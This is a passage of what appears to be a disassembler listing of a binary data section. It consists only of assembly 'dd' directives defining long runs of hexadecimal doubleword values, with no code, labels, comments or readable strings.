0DE1288CCh, 4EE704FCh, 0C0FC1120h, 924DD90h dd 74A9C2F0h, 0CE8CF484h, 0A1AF00FCh, 0B77C6174h, 0F9A5002Ah dd 3ADF408Ah, 0A600E959h, 0F52E107Ah, 2EEBF207h, 119CB51Dh dd 0CFE458B4h, 18F4A0DDh, 0C3E052h, 54936448h, 87D5734Ch dd 9E59B8B8h, 0DAC87FCh, 0D1A12D12h, 0A4646308h, 2D4260F8h dd 418C5301h, 25B937CEh, 111BFC0h, 0BA9D352Bh, 6454C838h dd 0B73A4D38h, 0FF8D07A2h, 20ACB22Ch, 3A50216Fh, 15F7AB8Fh dd 0E95300ECh, 0F06DD1D0h, 1371005Ah, 0B75540CDh, 22FFE038h dd 0D8BD05F4h, 0F4F42FE7h, 41A54FB1h, 0BD2803DCh, 0B6E3EC75h dd 3240C349h, 506A2886h, 0F9F11254h, 52E71370h, 34E00A28h dd 4FCB6230h, 48858E07h, 40E854A4h, 7C0073D6h, 0ADED2E1Dh dd 905F91EFh, 0A17698BCh, 0F4F541BCh, 500AC452h, 0B7FA4060h dd 14587226h, 37409E83h, 0A7290005h, 8F902F70h, 845886D5h dd 6C9A2824h, 92CDDD02h, 646DB6FFh, 32449898h, 0E060AAF6h dd 0C05C6D2Bh, 0A08CBF56h, 852E8A3Dh, 78375749h, 0AC079834h dd 2B01883Ch, 942868C5h, 8C4BBCh, 29A40A94h, 267516BFh dd 0DD59D0Ah, 0A18380F0h, 0BC61FDBDh, 37F4088Dh, 8BE408h dd 0DDF0C7CFh, 116BAA5Fh, 157B8000h, 51E42078h, 811C963Dh dd 22E3C3A6h, 0E2B828A3h, 85802058h, 4E0A6CF9h, 0A8AFDCC8h dd 0DCC2B58Ah, 3F602D82h, 908C94Dh, 3487B2Ah, 3D8BCAAh dd 0C9881530h, 0A2238E2h, 0BCC88C48h, 47038CBCh, 0D9C9606Dh dd 40A288B9h, 3E70B923h, 419ECB97h, 702911B4h, 40C721E9h dd 782C7964h, 2437732Ch, 4B68B44h, 9FE96BB0h, 0D4B9DA05h dd 9C88F880h, 57DB0E0Fh, 540B66Ah, 5D97BD1Dh, 0E9637B07h dd 0A43F34C7h, 6005273h, 0DF0990CFh, 87595112h, 889DD40Bh dd 9F91B86Dh, 0A9C2878Eh, 473119B6h, 337EF910h, 0C8AF0C0Eh dd 8F7F60CEh, 1CF1185h, 0BC200766h, 2A5F9430h, 2AED7C40h dd 9123806h, 32CB4823h, 0ADBA7843h, 0EC10FC65h, 0C8452B05h dd 2064B171h, 3640C01Ch, 2CEB7E79h, 280F7D3h, 0B4A8A9F2h dd 484140CEh, 4675200Fh, 12F00D6h, 0CB2D7AFh, 782095FBh dd 0F6A6A7CDh, 9B8D327h, 0BDF4B708h, 85B67100h, 0D118EAD5h dd 0ABEF60CFh, 0CCA80A7Bh, 0E6720641h, 8C7143D1h, 8F97718Fh dd 0A05C2292h, 100D9E30h, 0E0B12D07h, 10DB666h, 1A5E5D37h dd 6CA638E4h, 2064CE24h, 0BCF212F4h, 0ECA45FCBh, 537800D8h dd 7FF9F52Ah, 0D3CD023Eh, 6CBED7Ch, 2B0F44E8h, 40A74817h dd 0A444045Dh, 0C488D3F7h, 47F43C30h, 0E7C188B0h, 16E6C52Eh dd 3761AD09h, 28F4203Fh, 4C090695h, 42BC701Dh, 0A837028Ch dd 9ACB7B60h, 0BD0F8C54h, 0E40913E5h, 7148A9CDh, 1F2BD9F8h dd 305E2BC8h, 15C93FF7h, 0C6003A18h, 966C8134h, 1ED465B7h dd 0C20F1463h, 0DD3CBAD5h, 72034444h, 0F41BF7BCh, 3F401CADh dd 696139EBh, 0A9D670h, 585F9C9h, 20B6779Dh, 0DB00C873h dd 0AD05659h, 8C4C30B7h, 186A0D8Bh, 1677ED70h, 199BDD3h dd 3BDF4184h, 0A7A83090h, 0E0455A4Fh, 0DCF4A62Dh, 4BA2012Eh dd 0B2DBC28Ch, 2C6838E0h, 1420A876h, 0D86098A2h, 0B580AA86h dd 10EE589Dh, 3058311h, 0E2A9257Ah, 99B3E1F0h, 6FE01984h dd 0A2FCE093h, 3E741701h, 40A6CBB8h, 0E0391871h, 78BDA818h dd 760635A7h, 60068E33h, 749C19D8h, 47208015h, 30820888h dd 0CDF2D3h, 0BC6B8DF9h, 60A4702h, 52ABAEC3h, 0D8F87BB8h dd 0F5B040F8h, 3AE57970h, 78B78820h, 0D7C0100Eh, 67437812h dd 9EEB7782h, 8C0530E8h, 50A2CE30h, 5222106Fh, 17A48A6h dd 0B8745E8Eh, 0CDC305FAh, 0D0620EBCh, 2E144FF7h, 5BB8DFCh dd 3D0625D2h, 4838ED20h, 0A5137988h, 8C1D7333h, 0D0A0546Ah dd 68122A7Fh, 3004AF03h, 40E93411h, 5CB1EF04h, 8C281EAEh dd 10BBAC78h, 0C4259C1Fh, 0A3388858h, 22AF4C76h, 5C0BFF27h dd 0FCB7AC04h, 74FC4644h, 0FE3F1704h, 6304BDB3h, 32AF3C35h dd 8FB0F48Ch, 83142846h, 8F602B5Dh, 8250B5F4h, 98A2EB7Bh dd 0C794E27Ch, 4D60A791h, 0DB0C1841h, 0B0593C4Eh, 0EA9B10h dd 0CCE4B337h, 8586A0C0h, 556331Ah, 28BC84ECh, 0A55CF058h dd 0C16EC8C2h, 0DE1C5E5Ah, 6E361B00h, 6B78388Ah, 2FFF4BE4h dd 0BD2338h, 170CA56Fh, 7B16F21Eh, 0C84232D3h, 0C4C0A714h dd 0BAD73650h, 8227D8A8h, 50E4E86Dh, 48220BACh, 64445963h dd 136D9D44h, 24C852C3h, 825C84CCh, 0F84105CCh, 86899360h dd 0A1963006h, 0C0977D28h, 6787C019h, 731ED230h, 0B4C06140h dd 5B121CCDh, 0EF5F00FBh, 0D92F6FB8h, 3A4A53F6h, 0BCB34004h dd 0F73B2C41h, 40406CB9h, 0F5970A8h, 0E2D50604h, 1D0E5B8h dd 3EC69085h, 6325C207h, 3046A24Ch, 0C800430Bh, 98530A02h dd 4E4010C2h, 0D384929h, 0AC008052h, 93177123h, 7899EB9Eh dd 0AFD200CBh, 510C76F8h, 0BD7FB1DEh, 67409001h, 371455EFh dd 0CD0A1473h, 8028A173h, 442BCC6Ch, 0F9384DC8h, 91FF8063h dd 0BDF6CE2Ah, 6D7D0B3Ah, 24028E2Ch, 0FC51A59Ch, 0D6E6F00h dd 3D4CD534h, 850101B1h, 313BFA58h, 0BA86894h, 83ACCDA5h dd 54CD484h, 3D15739h, 2424913Bh, 0CEF703AFh, 5E7E0E21h dd 0B438695h, 0DAB0C38Bh, 11FDF768h, 0D4392A41h, 75C93C7Bh dd 3C34B901h, 94B473EFh, 0C780951h, 3004DE2Eh, 10C304A2h dd 5A92A74h, 8C200E71h, 2C092EABh, 897C439Ch, 58A9E7CDh dd 42EE8003h, 826D1821h, 0D46530Bh, 372F6CE0h, 6CE32Dh dd 0EB6D85CCh, 0A0544C2Eh, 0B2CA68Ah, 88AEFAE3h, 0C7840016h dd 0F8B01B68h, 8F5CA097h, 0FEDAADC5h, 0DB7A0835h, 1103A1D2h dd 4430782h, 293D50B1h, 924CA0ACh, 1952D735h, 0CA908800h dd 5FA58133h, 0E8E840C7h, 0F7A31FA1h, 0A8CF30C7h, 83734B10h dd 0C66F3920h, 0D8D024h, 0A90D0C2Fh, 1900A663h, 9E8DACCFh dd 7211019Bh, 54B213FBh, 1028F3F8h, 99E7782h, 0C78E1B5h dd 5D6FC20h, 92E37A9Dh, 0D2B8D8C4h, 4BB1AA46h, 0E3DD0934h dd 0E442CF08h, 2E2038E4h, 884FE046h, 23006A44h, 4F588E47h dd 0BE974E52h, 13BA8088h, 7B23CDCAh, 545BB109h, 845A0Eh dd 0B881201Ch, 5E729A51h, 18B62839h, 0ACE85880h, 0CEF0DD5h dd 49304FCBh, 683AEC68h, 0E44A515Eh, 7E0406h, 73921DF3h dd 799C121Fh, 0ADC61900h, 8317117Ah, 0C0E507Bh, 7CB63BA6h dd 730D85BEh, 0F008C65Bh, 841DE682h, 72008117h, 799A8A20h dd 988D0028h, 97834F71h, 13071274h, 0C62084E5h, 24C561DCh dd 3C3C1D79h, 93C8240Fh, 0E6871A0Eh, 9885F0A4h, 1D004F75h dd 0AC598396h, 0A3B56F9h, 5030E6C6h, 96CE0604h, 827C607Eh dd 0A471F501h, 0E6635C9Ch, 7819D1BEh, 0D0818016h, 0A0DB9288h dd 2AA1A618h, 0F082680h, 841F779Ah, 0B51D6F87h, 80381BCDh dd 12A28809h, 20650314h, 6B880088h, 357DD1C6h, 7800B3A9h dd 979B8312h, 0CE6C5F9h, 92C1504Bh, 8E006340h, 0B78B1473h dd 3C603A3h, 825330C9h, 0D0875BFCh, 67F66D96h, 8F59E1CEh dd 0A0787833h, 9217041Dh, 32720299h, 88B10074h, 0BC1F1216h dd 83234F9Ah, 23777E61h, 4FA4A190h, 7604288Eh, 3C38D1CCh dd 0D809D4D4h, 0BCE44E6Bh, 0B05C820h, 0DA477029h, 6324B859h dd 78A0412Dh, 1FD0DC74h dd 0F0BC30B0h, 0D7D37918h, 14885F5Bh, 156144BEh, 849098BAh dd 60243E51h, 58225C88h, 556F2E5Bh, 0BF4D42D0h, 90766CE1h dd 0A593E158h, 17609428h, 0D0B00C50h, 160789CBh, 0F2CC0EE3h dd 64422DECh, 0D6BEFCFCh, 60E02659h, 28484122h, 127C40A7h dd 0D084C209h, 61B870C8h, 3B5188A6h, 8C592F2Ch, 0D1A55160h dd 59666406h, 9430B113h, 0E194D410h, 110B6912h, 0E5A8BAE8h dd 0AC331187h, 5B1087E7h, 0E80C18A9h, 530D01EDh, 73735034h dd 78AD6BCBh, 0E320E878h, 7CD890AFh, 28F48ABCh, 698030C1h dd 0A70E8500h, 97098CB6h, 297CA2B6h, 0C8EC6260h, 0C051FDCCh dd 20E36F28h, 3012B745h, 0ECF43190h, 40CF5412h, 0CAD588A3h dd 2381807Dh, 0ABC9CC8h, 0DDD36DA2h, 38BD8AACh, 0FF0D8B24h dd 24854489h, 2B9847DFh, 8878D968h, 7174CD17h, 3320A081h dd 0EB85B057h, 0E2B54000h, 4834D59Ch, 44D1042Dh, 0E544AC88h dd 0B3A1DC54h, 0C18454A8h, 1037079Ch, 0AA8D2241h, 754882BCh dd 46D0235Fh, 0E5189164h, 0ED192E32h, 45863E0Ch, 591C42DDh dd 48260131h, 0FBC1EA08h, 5B205C28h, 73CD3EB0h, 0A909C12h dd 412037A4h, 2255D0D8h, 2C9C503Ch, 4F8407F1h, 7BC534A8h dd 0FEC48C0Fh, 0CD364900h, 4586F3E5h, 0D590015Ch, 0D6F77B7Ch dd 0DC206E34h, 30EDCF2Ch, 0B738AB4Ah, 9CB2566Eh, 64D0F74Bh dd 25F948h, 7CB2E5Dh, 0B25269C5h, 0A1BC7203h, 737F8CCh dd 0BFAC4D29h, 91F49067h, 0A93917CAh, 253B7E0Bh, 0EBC08545h dd 2CA9F79Ch, 1A92A300h, 74A21956h, 83B85C0Eh, 0ADAB0285h dd 0FD38406Bh, 8B100173h, 40956C14h, 437E22h, 0BADCDF7h dd 0B6851049h, 69944200h, 98D2C153h, 0DC90E012h, 48287B80h dd 7800C96h, 753C17D1h, 61EEE404h, 0FEBC9F36h, 32F97300h dd 0AF09749Eh, 7306403Ah, 6F2125h, 0E14A44A0h, 667E07DDh dd 0B0E59701h, 2559F40h, 0AF5BA200h, 0E7B6617Dh, 0D304002Dh dd 9F3AE5D8h, 0BD00E880h, 36471CD2h, 185CC3A9h, 489E6FA8h dd 0EC41D1D8h, 0C08C6CECh, 32B3EACCh, 33001EB6h, 0E57CC2A9h dd 30F44E87h, 4020576Eh, 75E0EB1Bh, 8420E753h, 3D6020E5h dd 230047A7h, 0DCBD1604h, 19BE4E37h, 9949E8D2h, 0D3A0F141h dd 8078D83Dh, 593E2B6h, 0F89F3E07h, 99BF000Ah, 0F0B4DC4Eh dd 0EE15E985h, 1684CF97h, 0B400F7A3h, 0AB9BF55Ch, 9CA53A44h dd 8D21E030h, 510004FFh, 89F6BD3Eh, 0F83C210Ah, 8A6B18D2h dd 0A35778ADh, 0E35F81C0h, 0EEDBC7h, 278841A9h, 0D1DAB94Fh dd 1E69F0Ch, 0E8852990h, 0AB5730F9h, 0EE62BF11h, 5836E801h dd 901E3D45h, 21B80898h, 0EE30AA68h, 442908D1h, 3F20E321h dd 0DBD907A1h, 0B156D5DAh, 0C02B252Eh, 39C0BB58h, 20C80907h dd 0D3CF0178h, 553C422Dh, 82A3F4E3h, 83592500h, 6298B596h dd 9FD605BEh, 13D81AAh, 70A0B09Ch, 3AC76F0Eh, 6BBFE570h dd 0C0A8E8AFh, 0E787921h, 1F00C2BAh, 90DBFD6Fh, 8040E9C9h dd 0CA6FB70Ch, 25660189h, 1180A257h, 91757C55h, 1F03E2EBh dd 0AD7D5859h, 85CCB981h, 30FF9052h, 0E611EEACh, 0B288A836h dd 0EE945E80h, 9D7262h, 31438A4Ah, 79811557h, 256A6600h dd 7D4006FDh, 0A1EC63FBh, 75B0E690h, 0CB1FED68h, 8F12FCFh dd 20874136h, 0D0ECEE6Eh, 0D594D354h, 0A1034C01h, 0B658274Ah dd 92EF7980h, 0CFBA7EB5h, 89F39800h, 591A8844h, 0B9051461h dd 3C9480AAh, 0F801EF23h, 0FD5C8704h, 0A0A9B618h, 9405C084h dd 86DB1E00h, 0B7D42B70h, 804A29A0h, 925180A4h, 0C59BF1BFh dd 47960B1Dh, 2C9C8F01h, 0E842EC10h, 0E873093h, 6BB6F808h dd 40AC64AFh, 4B0E6F80h, 9CE612DBh, 985C00B1h, 0D2DF3D1Dh dd 60026C24h, 453D38A8h, 6689879Eh, 0D8F2B321h, 71C8435Dh dd 52028CE8h, 2D5C70FEh, 10B7199Dh, 4FA9Ah, 12F2C73Dh dd 8A250576h, 390BC804h, 7D40ABB8h, 0E7E6F793h, 3459CC60h dd 0C4B75883h, 80235A21h, 0D96ED23h, 0D624E000h, 0FB90E74Eh dd 8C0C9805h, 11E176FCh, 88C56862h, 0E9A9803Ah, 0D5EA8CECh dd 2300BB98h, 66AA5A53h, 18D3CBE5h, 79E7BE65h, 700749A0h dd 671C913Fh, 3AC44FC3h, 11B02C18h, 5CE1AE71h, 0E0250306h dd 79C1DD97h, 80B4013Fh, 3E71F130h, 17EEC0C2h, 0CAC0A600h dd 36F2918Bh, 42400B8h, 0FBA3D5E8h, 6418AD7Eh, 55540750h dd 6C1ED4D6h, 0E71D6E23h, 75687484h, 6F213862h, 8520ECEFh dd 4D50B07Ch, 28E8FC6Ch, 4D23BE42h, 0AE20105Ah, 9D0F8C19h dd 329FD5F7h, 0E716060h, 1BB83B52h, 0A922C3h, 620E797Ah dd 0D88D38D2h, 44243124h, 58E04341h, 60872460h, 0D9EB3136h dd 700E132h, 53DACBD2h, 9844354h, 0DD0E250Ah, 4B407491h dd 0E7968304h, 631024AEh, 81AF8A18h, 1EE30110h, 308215F1h dd 0FF484FDCh, 5A871870h, 317EE021h, 0A48E80Dh, 6D844E9h dd 28A7FFF8h, 66F44A43h, 0E183850h, 0B5114887h, 72FD05DAh dd 0AB44A932h, 6871F113h, 0D424B597h, 612B7844h, 0DA8518AFh dd 0D2398609h, 0E51586Ah, 392BBF31h, 501307E0h, 9301ECE0h dd 0AFF7B40Bh, 243536AEh, 3EF0AC08h, 6544167Ch, 0BA8ABC01h dd 0EC293AE6h, 50A1C8D3h, 0B5C92DBh, 0C287E954h, 4E6CA8Fh dd 0FF071980h, 0E1B01A48h, 0E6493980h, 93A90035h, 0AF634042h dd 2C00E8B3h, 24ED9404h, 6354578h, 43F15C89h, 3D000888h dd 0F8BD7974h, 0E0E6CECBh, 0E84F2BA1h, 0B8E99B4Ch, 4CD090E8h dd 520E0A4h, 6FED3191h, 200FF548h, 0F46436B2h, 54589F0h dd 24AC40AEh, 0A4A10C59h, 0A96AD907h, 0BCB3F6A5h, 41200299h dd 0A2B858F7h, 6544E008h, 0A0DBE483h, 0C3D39029h, 0E96C3618h dd 0A97821AEh, 0C170EC48h, 92352AF9h, 0AF868847h, 0F6AB0E48h dd 0EEE3AA48h, 71094B56h, 8773437Eh, 712C4F68h, 0D91F0415h dd 0C0115B95h, 0BB57AFB8h, 0FC304389h, 0BDEC053Eh, 82E56EEEh dd 9C886FC7h, 36A60558h, 5C94C3F6h, 0FD359119h, 0DF106410h dd 662C9DECh, 5709D36Dh, 87948339h, 1621013Fh, 31E98310h dd 0A74222Ah, 0BCFDF763h, 79EE8039h, 0F49529BEh, 83F4904h dd 700243Ch, 0ECBF751Dh, 7900F617h, 0F5216558h, 0CE6A4FCh dd 8150A0F7h, 0FD00C431h, 4F6AC71h, 20F1670h, 19895611h dd 0D864963Fh, 0FD9E4700h, 0F57F0EC5h, 7EE70645h, 21CD2B31h dd 1C90A579h, 598A5032h, 0C888F44h, 24E11D2h, 716789FEh dd 0C41AC18h, 6BD44C98h, 35A87348h, 606051C4h, 92372AB1h dd 6C6804B8h, 0C1D1522Eh, 8236D29Ch, 57915C19h, 22D0A0CBh dd 903C7459h, 81650020h, 4E39D067h, 0BCEC3668h, 432B82FAh dd 5313143Bh, 302ACC0Ah, 3E34A13Ah, 6A60C13h, 0A93757D8h dd 75667D16h, 0E17EB800h, 2E815B5h, 98E60E18h, 0D0C457C8h dd 0A0D99F00h, 0AA1BEE3Ah, 24D3FE85h, 4404502Eh, 2F68C475h dd 0D9CF0428h, 0E2F3B48h, 269E6EEAh, 0EA592565h, 0AD8730E7h dd 0C8541431h, 0A5BD4218h, 6BAB61h, 2B5DAD95h, 9CA804EFh dd 8C101C91h, 53AC74C0h, 0DB28EDE7h, 0AF2198B0h, 0AA940870h dd 18A71832h, 4384CD54h, 89C0517Fh, 94B65518h, 34FC30E0h dd 0A0EF5079h, 9C04C400h, 0FF2E7691h, 0AC664CCBh, 2C2CA428h dd 3EA85FF6h, 1BD8F068h, 0E7C04040h, 0D09524DAh, 20221A4Ah dd 0D860806Fh, 418AA30Eh, 38434204h, 0BAC2A0D7h, 205C6063h dd 0E91096DFh, 4687A80h, 820D93CFh, 5FACC0B0h, 284C7D3Fh dd 593605E1h, 78807F79h dd 48FC0C65h, 0DE2E3C8Ch, 36DB028Fh, 44C1AF7Eh, 7989981Fh dd 31666D51h, 0EC31EFBCh, 0C0DBDC50h, 3AB780C1h, 50704A79h dd 60FBF85Ch, 294118C1h, 7898A219h, 7C5D6BE8h, 17ED0040h dd 940FA82Ah, 3F1A29C3h, 97D18C94h, 7F3CC230h, 9DE11AB7h dd 0F7B48210h, 1180C51h, 98068D40h, 0D9412084h, 0EB2D9614h dd 627B0CD0h, 0E87E87Eh, 0B0D853BBh, 0C08FE746h, 6D57961Dh dd 907C9F43h, 0CF29217Bh, 0BF99A508h, 798D1142h, 3C5CE322h dd 5237038Bh, 0E0A64546h, 897E61h, 35049039h, 0FD6B404Fh dd 0D3004A70h, 0D756F6DBh, 8726C8h, 99D2F847h, 0CD903DB5h dd 352C3Eh, 0FBB76301h, 346546Fh, 0B5B8C91Ah, 93B8F0FDh dd 0A600ED2Ch, 0F3BA391h, 0CB2BA2Ah, 0A0C1EE5Fh, 6B009829h dd 3A6D2C94h, 33727Bh, 309B8BDCh, 95DFF781h, 0FEB3E700h dd 2B10FFAEh, 0A6A90069h, 0C9922DCAh, 0C7008018h, 0A5D4FC3Ah dd 9C3498h, 0F00EEBBEh, 0B157E124h, 0D6521B1Eh, 0C026738Eh dd 0B209EACAh, 0B68C0039h, 0D13A4819h, 0A00BA3D3h, 0A05BA6B4h dd 63794EF8h, 0E8C6004Ch, 16E99974h, 4F00E46Ah, 0B0B80686h dd 18796D0h, 0E0119F35h, 0EC085972h, 7800C9C2h, 2F6EFFF1h dd 226BD0h, 0DE18435Eh, 68EB2752h, 0F2034B04h, 87C06328h dd 0C8FE71h, 0EAA114B4h, 732F8964h, 0A00E292Ah, 165BB0Ah dd 80009CB3h, 2FF3501Ch, 773B2AD8h, 0C7DD00ACh, 46035723h dd 0E403CB28h, 0ADC5826Eh, 1F0D9806h, 31700EBCh, 0C940D80Bh dd 2BA96B89h, 0E5E3F300h, 3A4D4A2Dh, 0EFC7010Fh, 0A4FDBB49h dd 853FD8F4h, 36830700h, 3D44EE3h, 7D0601D1h, 0B63C461h dd 605BF53Fh, 343B96B0h, 21A280FBh, 5D9F8D85h, 4F410119h dd 0DEAFBD5Eh, 564430ACh, 0D828F01Dh, 0E130F3CCh, 8E753FC7h dd 4614CC00h, 1794746Eh, 0B73FD000h, 0ED9C648Bh, 6F5100FDh dd 0CF126508h, 1618449Eh, 5E40ECB6h, 80300022h, 3BC7BABBh dd 6A5C8E4Fh, 124D023Bh, 8054C4D3h, 587E0FF3h, 665E00ACh dd 0B0B4D00Dh, 0B303F18Eh, 881FAE71h, 0D9290231h, 65541315h dd 0C441F6E1h, 7C73D6A4h, 0AFDEAE00h, 61A5A7Eh, 0A63A006Eh dd 4EB6EE60h, 0F61F1E6Bh, 5455BDAh, 0A500D52Dh, 0C3EFD8ADh dd 76630353h, 367328AFh, 2AE46903h, 88320A18h, 0F32392h dd 6530D5BFh, 0A1598D4Fh, 2618464Ch, 791E10ADh, 14519B80h dd 617BD2Ah, 29E46401h, 0CE001E85h, 8C4F841Fh, 0E4CFC41Eh dd 628100DFh, 0B330EFF5h, 0B5009329h, 0F0DEC1C5h, 718CE8Ch dd 1935E727h, 0E1A51052h, 0BA38487Ah, 2EDB0730h, 0E4DF7EBCh dd 34900EEDh, 90C31777h, 0FC970044h, 0D5F735F1h, 850164F0h dd 0C507FE25h, 0C0604584h, 0C6CE006Dh, 0D67E17EBh, 6E020181h dd 4CB04D6Bh, 0B1D0E82Eh, 9B340015h, 0F48DE1CBh, 5B003C3Bh dd 4708B3B2h, 3F12476h, 9AFD6517h, 84AF3DE9h, 0BF9880D8h dd 4A07D488h, 661AEF84h, 459C3FB0h, 35780921h, 7A87A12Bh dd 7F6AF0F2h, 0C909CD77h, 804ACAC6h, 1965DABCh, 0F37158DFh dd 6FCB3800h, 0E18DDD88h, 4A3AFE00h, 1C6405EDh, 86E00D4h dd 3BCAC1C7h, 21008AA5h, 2CF9A666h, 3BA1F333h, 0E280DA2Ah dd 505E3820h, 56015A27h, 60229D7Bh, 90EF70B3h, 96E3658Eh dd 0CA5D0454h, 1984D099h, 0AD717A72h, 0FD62AA00h, 6A48EDC2h dd 0AFC45052h, 709872DAh, 0ADCA00B3h, 31BD9456h, 59000AE0h dd 90B64548h, 0FDBC3Eh, 0CFD4E57Fh, 0F726BBC8h, 6F23AF00h dd 5924B18Eh, 0A0C2007Dh, 4EDCDA66h, 2E77BE38h, 0FEC8BB09h dd 0D2D0609Dh, 0C340061h, 8B24166Ah, 3C7C5AC7h, 0F7397F00h dd 2263574Dh, 75FF58D3h, 4F5F0400h, 54BDAFBBh, 34285Dh dd 166EE6Ch, 0AC8809h, 0AEB1D3B7h, 0F3E16999h, 11BE0C04h dd 64800D9Bh, 5462AE2h, 775A6815h, 0A48A80D6h, 0CD00C4E9h dd 4E651C5Fh, 0B076D0F6h, 84BF3A30h, 59C1FE84h, 53489127h dd 805421DCh, 1BA70A31h, 0FEF25Bh, 1A6A4F89h, 57D13EDEh dd 90823A40h, 7DC81E3Eh, 1092000Eh, 236902F1h, 4E0A661Ch dd 0A46B7101h, 309E39CCh, 2A5A0046h, 75AB50EEh, 9DC8AC00h dd 0C5FCD5CFh, 18A93D9Ch, 0FEA8313h, 31801A44h, 5C339E71h dd 5400EFECh, 9FD6A84Ah, 0A0DAE804h, 982370D4h, 0D7C0009Ah dd 0DF18DCF3h, 0C12CE1F0h, 0B100885Ch, 90C98C41h, 21C22726h dd 0B6310075h, 71F6D8h, 0E9A6531Ch, 47ABAA2Ah, 52C66B00h dd 79957E38h, 98C10056h, 1E5DDF2h, 550EE059h, 806B28B4h dd 0B687F94Bh, 0B0757050h, 0D910300Eh, 84023938h, 2B887807h dd 4040614Fh, 5E1A94h, 0B48D27B6h, 0BB8FF103h, 0A90CA200h dd 291B7C07h, 5777006Ch, 75C08974h, 11EC1A1Dh, 0FF98B400h dd 0BFD56E02h, 0A670482h, 905AC265h, 27200D34h, 0F6487600h dd 0E1B79BD8h, 10CD0B8Fh, 180B9F3h, 0CB21EB08h, 0D8F44913h dd 8B41A81Ch, 0B5D6B6ABh, 1EE2824h, 6322640Ah, 30E6232Ch dd 0ED118E64h, 0BBC0E202h, 0F15360E4h, 9B407C00h, 5D80E0A9h dd 80D8B457h, 906003B8h, 630BC155h, 200D7E2Dh, 1FFE8DB8h dd 0B0B92539h, 36AFA406h, 10A448h, 0FDE1682Bh, 2CE24E3Dh dd 78B46ADh, 7079D574h, 0C5A76794h, 1BBFEF00h, 0BE1F3A5Fh dd 0A438EB06h, 0C160C307h, 0ACB3B5F1h, 2B57006Dh, 0AE8A14C9h dd 629E0144h, 78F15E26h, 525480DDh, 2AD7AC56h, 553707CFh dd 0D0A144A9h, 7BE0C580h, 58862D30h, 0BABB8FCh, 0CB3D30AFh dd 0D87B6048h, 6720DE63h, 0A283E7A5h, 85112099h, 78D28122h dd 764C2535h, 0F60C480Fh, 28C0665Ah, 173C254Eh, 5C94C2h dd 1E9C8D5Ch, 977B4CD0h, 0B1A43900h, 0D22FDB68h, 0C578B7h dd 6D66C41Ah, 0CE5C7C9Ch, 4CECBF28h, 3BEE4410h, 0B3B90378h dd 5A424DAFh, 0EBC4F6A0h, 4387CF00h, 76B0D858h, 16FD07D0h dd 3AE17Ch, 558F8660h, 0DD8E4400h, 0D168F818h, 3E3D72EAh dd 0BEAD8066h, 0DC04C028h, 0A1C0FC31h, 0C878BD87h, 0A5B8D809h dd 9A33B840h, 826B8B8Ah, 0E5A1BB8h, 29A7D546h, 90113742h dd 2F2273h, 84EAC1C8h, 31F8FB9Dh, 0D82E302Ch, 2AB7CC80h dd 70EEFD9Ah, 8F36005Fh, 0B3F23A98h, 0A3006A86h, 0D607BBE3h dd 2339190h, 192AB8F9h, 9C60A8F5h, 83AE143h, 0E5C19C62h dd 0DA10803Ch, 92D823E8h, 0BC6D002Ch, 0F062EE6Eh, 63001F13h dd 76D66B0Ch, 3D1BAC17h, 0B4958499h, 247B8861h, 80804A39h dd 0E985BD38h, 0BE00F5A1h, 9E6E7B15h, 0C37F4356h, 32082F20h dd 0D6B09AF0h, 28649300h, 73D0674Bh, 0B7E00022h, 72D36103h dd 0FC00581Eh, 0F257D47Fh, 1E209B4Fh, 9C7DCF6Dh, 456300AFh dd 51860BB4h, 0EC010F7Dh, 4C136F9h, 0D451DE6Bh, 0AC62C8F2h dd 0C22A0079h, 0EF664963h, 0D90003B6h, 0F1E0B98Eh, 0A44B1Eh dd 0E2702A1h, 0F99BAFB8h, 0ECD3DB00h, 0A3C46AF7h, 5F8A00E7h dd 3F390FBDh, 66035415h, 6AEDAC86h, 0E23097E5h, 0E847E6FEh dd 0B0E7008Bh, 0C4CBD53Ah, 58005B8Eh, 160F3C81h, 9CAD113h dd 8F3BE5FAh, 3213B17Ch, 0D4927C05h, 34893800h, 0C5A57Dh dd 0D3297EE4h, 0D4C7F081h, 60690504h, 76C0D940h, 5C92FB73h dd 271CC4E5h, 0CBC4C16Dh, 704F453Ch, 4E0B16Ch, 374CEC00h dd 8C600CAFh, 5C142643h, 0D1748074h, 0E68589A2h, 902FF716h dd 0EDC1A440h, 2DACDAh, 0DF013564h, 0A1148CB7h, 0D074913Dh dd 2909C3BCh, 0D06B98h, 0F76E5F27h, 8B1D00C7h, 0C3657295h dd 46007AA3h, 0DB494A81h dd 14021029h, 0D0CE6DB7h, 4BF638h, 0B8F579A0h, 7217DEB1h dd 0EC20F79Bh, 7BEFF70h, 0F879C65Dh, 0C930F09Ah, 5F77216Ah dd 76265700h, 0B77B93F7h, 45F139EAh, 80EB2500h, 0D0E86A03h dd 93009494h, 0E6926DD3h, 0E4164D76h, 4FBC770Fh, 0F14633A1h dd 6DD86099h, 6E423100h, 0ACFC902h, 18C46179h, 40B4E220h dd 23C8E88Ch, 25EE6003h, 0E88FB885h, 60982815h, 0E00F1978h dd 3D00B567h, 0EC6137FFh, 88E309h, 0BC8CCF5Bh, 0D6D06662h dd 2347E800h, 1181425Fh, 0C6B800C5h, 6246247Eh, 0FD757C4Bh dd 7129C100h, 0F3AF08ECh, 0D3E6CCh, 80855DD6h, 0B59A0C35h dd 5B3B2BF2h, 9D16851Eh, 9AA7559h, 2470B96Ah, 2600AC74h dd 34D64248h, 7212F6h, 0A0A9D96Eh, 0D1FE8EB3h, 5C4D5A14h dd 86EC00FEh, 0B6112766h, 2508E216h, 0E0A429E3h, 0AB30A01Ch dd 7F002498h, 0F9633644h, 505E8AD1h, 0DAACB1h, 0EAFCCCB2h dd 50FF3C68h, 0A212407Ch, 5C80A755h, 0F04204h, 6CC29059h dd 67702E0Ch, 184CDF79h, 4007600h, 47484C3Eh, 0EE84A8h dd 9DE5DB1Bh, 0E99AC63Bh, 9234900h, 0D586E659h, 0D4571D6Bh dd 0A5ED0063h, 998AFC82h, 51770F0Eh, 5EE420D8h, 51EA035h dd 68156995h, 3A968146h, 474AE045h, 9158F100h, 24022948h dd 12430051h, 77F6B9ECh, 23019CFEh, 0D33F2C50h, 0F840A3E5h dd 4DB68Eh, 32735629h, 527A1139h, 0A97DC328h, 0EE958C30h dd 3CC01F0Fh, 8E12B53h, 434BA5BFh, 4FC8AB95h, 801FD620h dd 0A3C076C1h, 926FC416h, 0C9500091h, 230EA929h, 0FB00ACBFh dd 0D0B1C271h, 1E2CE179h, 0C7F00325h, 803033F1h, 0C8CE0EA5h dd 7FADC539h, 0F2785507h, 7E66D39Ch, 0E8A40098h, 0EFD7FC37h dd 0CC000BCBh, 7C1C9A36h, 749B3Ah, 